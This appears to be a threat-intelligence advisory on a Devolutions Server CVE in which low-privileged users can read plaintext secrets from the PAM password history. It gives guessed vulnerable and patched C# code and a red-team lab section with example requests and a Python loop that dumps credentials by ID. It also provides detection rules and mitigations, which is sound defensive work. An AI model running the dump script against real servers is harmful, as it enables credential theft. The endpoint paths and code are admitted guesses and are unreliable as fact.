CVE-2026-17570
Executive Summary
CVE-2026-17570 affects Devolutions Server versions 2026.1.23.0 and earlier, as well as versions 2026.2.4.0 through 2026.2.12.0. The vulnerability resides in the PAM password history endpoints, where improper access control allows an authenticated low-privileged user to disclose plaintext credential secrets via crafted API requests. This exposes sensitive credentials stored in password history, potentially leading to lateral movement or privilege escalation within the environment.
As of this report, no official patch has been released, and no public proof-of-concept exists. The CVSS score is currently listed as 0.0, but the impact on confidentiality is high. Organizations running affected Devolutions Server instances should consider immediate mitigation by restricting API access to the password history endpoints and monitoring for suspicious API calls.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
Although the official CVSS vector is unspecified, a reasonable assessment based on the description yields:
- Attack Vector (AV): Network – the crafted API requests are sent over the network.
- Attack Complexity (AC): Low – no special conditions required beyond authentication.
- Privileges Required (PR): Low – the attacker must have a low-privileged authenticated session.
- User Interaction (UI): None – no user action needed for exploitation.
- Scope (S): Unchanged – impact is contained within the server.
- Confidentiality (C): High – plaintext credential secrets are disclosed.
- Integrity (I): None – no data modification.
- Availability (A): None – no denial of service.
Estimated CVSS Base Score: 6.5 (Medium) – due to the requirement of authentication, but the potential exposure of credentials elevates the risk.
Deep Dive & Mechanics
The PAM password history feature in Devolutions Server stores previous credentials for audit and rollback purposes. The vulnerable API endpoints (likely under /api/v1/pam/password-history or similar) were designed to be used by administrators. However, the access control checks rely on role-based permissions that fail to properly validate low-privileged users.
An attacker can enumerate password history records by:
- Authenticating as a low-privileged user (e.g.,
ReadOnlyUser). - Sending GET requests to the password history endpoint, optionally with filters such as
userId,credentialId, orrecordId. - Parsing the JSON response, which contains plaintext secrets (e.g.,
"password": "P@ssw0rd!") due to a missing data masking layer.
The vulnerability stems from missing authorization checks at the API controller level. The server trusts the client’s role without verifying the scope of the request. The password history records are stored in the database with the plaintext or a reversible encryption, and the endpoint returns them without sanitization.
Vulnerable vs. Patched Code
Since no patch is available, we provide an example of how the vulnerable logic might appear, and the expected fix.
Vulnerable pseudocode (C#):
[HttpGet]
[Route("api/v1/pam/password-history")]
public IActionResult GetPasswordHistory(int? userId)
{
// No authorization check for userId filter
var history = _db.PasswordHistory
.Where(x => userId == null || x.UserId == userId)
.ToList();
return Ok(history); // Returns plaintext passwords
}
Expected patched code:
[HttpGet]
[Route("api/v1/pam/password-history")]
[Authorize(Roles = "Admin, Auditor")]
public IActionResult GetPasswordHistory(int? userId)
{
// Verify that the requesting user is allowed to view password history
if (!User.IsInRole("Admin") && !User.IsInRole("Auditor"))
return Forbid();
// Also mask or omit the secret field for non-Admin users
var history = _db.PasswordHistory
.Where(x => userId == null || x.UserId == userId)
.Select(x => new PasswordHistoryDto {
Id = x.Id,
UserId = x.UserId,
// Secret is never exposed in this DTO
})
.ToList();
return Ok(history);
}
Exploitation & Lab Setup
Red Team Setup
Lab Environment: Deploy a Devolutions Server version 2026.2.4.0 on a virtual machine (e.g., Windows Server 2022). Create a low-privileged user (e.g.,
lowpriv1) and a privileged user for comparison.Enumerate API Endpoints: Use Burp Suite or Postman to discover the password history endpoint. For example:
GET https://devolutions-server.local/api/v1/pam/password-historyAuthenticate with the low-privileged user’s session cookie or bearer token.
Extract Credentials: Add query parameters to filter by user ID or credential ID to retrieve specific records. Example request:
GET /api/v1/pam/password-history?credentialId=15The response should contain the plaintext password.
Automate Extraction: Write a Python script to iterate over credential IDs and dump all secrets.
import requests
session = requests.Session()
session.headers.update({"Authorization": "Bearer <low_priv_token>"})
for cid in range(1, 100):
r = session.get(f"https://target/api/v1/pam/password-history?credentialId={cid}")
if r.status_code == 200:
data = r.json()
for record in data:
print(f"Credential ID {record['credentialId']}: {record['password']}")
Blue Team Setup
API Monitoring: Enable detailed logging on the Devolutions Server (IIS logs or application logs). Monitor for unusual GET requests to
/api/v1/pam/password-historyfrom low-privileged users.Network Detection: Deploy a WAF or reverse proxy to inspect request paths and block unauthorized access to the password history endpoint.
User Behavior Analytics: Alert if a low-privileged user accesses more than 10 credential history records within an hour.
Honeytokens: Deploy fake credential entries in the PAM password history. If accessed, trigger an alert.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/api/v1/pam/password-historywith unknown or unexpected user agents. - Repeated GET requests with sequential
credentialIdparameters (e.g.,?credentialId=1,?credentialId=2, ...).
- HTTP requests to
- Endpoint IOCs:
- Event log entries from the Devolutions Server with the message "Password history accessed by user [low-privilege user]" when it should only be administrators.
- File IOCs:
- Temporary files or scripts containing the extracted credentials (e.g.,
creds.txt,dump.py).
- Temporary files or scripts containing the extracted credentials (e.g.,
Detection Engineering
YARA Rule
rule CVE_2026_17570_Devolutions_PAM_History_Dump {
meta:
description = "Detects scripts dumping PAM password history from Devolutions Server"
author = "Valters IT"
date = "2026-07-15"
reference = "CVE-2026-17570"
strings:
$api_path = "/api/v1/pam/password-history"
$token_var = /Bearer\s+[A-Za-z0-9\-._~+/]+=*/ nocase
$cred_param = "?credentialId="
$for_loop = "for" nocase
condition:
$api_path and $cred_param and (any of ($for_loop, $token_var))
}
Sigma Rule
title: CVE-2026-17570 - Devolutions PAM Password History Access by Low-Privileged User
id: c10efc2a-7b3e-4d5c-9a1f-6e8d0f3b2a5c
status: experimental
description: Detects GET requests to the Devolutions PAM password history API from non-admin users.
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-17570
tags:
- attack.t1548
- cve.2026.17570
logsource:
category: webserver
product: iis
service: w3c
detection:
selection:
cs-uri-stem: '/api/v1/pam/password-history'
cs-method: 'GET'
filter_admin:
cs-username|startswith: 'DOMAIN\Administrator' # Adjust as needed
condition: selection and not filter_admin
falsepositives:
- None if admin accounts are properly excluded
level: high
Suricata Rule
alert http any any -> $HOME_NET any (msg:"CVE-2026-17570 - Devolutions PAM Password History Access";
flow:to_server,established;
http.method; content:"GET";
http.uri; content:"/api/v1/pam/password-history";
http.host; content:"devolutions-server.local"; nocase;
classtype:attempted-recon;
sid:10000175;
rev:1;)
Note: Replace devolutions-server.local with your actual Devolutions server hostname or IP range.
Remediation & Mitigation
Immediate (no patch available):
- Restrict API access: Configure the web server (IIS) or a reverse proxy to block all requests to
/api/v1/pam/password-historyexcept from whitelisted admin IPs. - Disable PAM password history: If not critical, disable the feature via Devolutions Server configuration until a patch is released.
- Review user roles: Ensure low-privileged users do not have unexpected permissions. Audit all role assignments.
- Monitor and alert: Implement the detection rules provided above.
Long-term:
- Apply the official vendor patch as soon as it becomes available.
- Implement proper authorization checks in custom code; never rely solely on URL obscurity.
- Use encryption or masking for sensitive fields in API responses.
Valters IT – Cyber Threat Intelligence & DevSecOps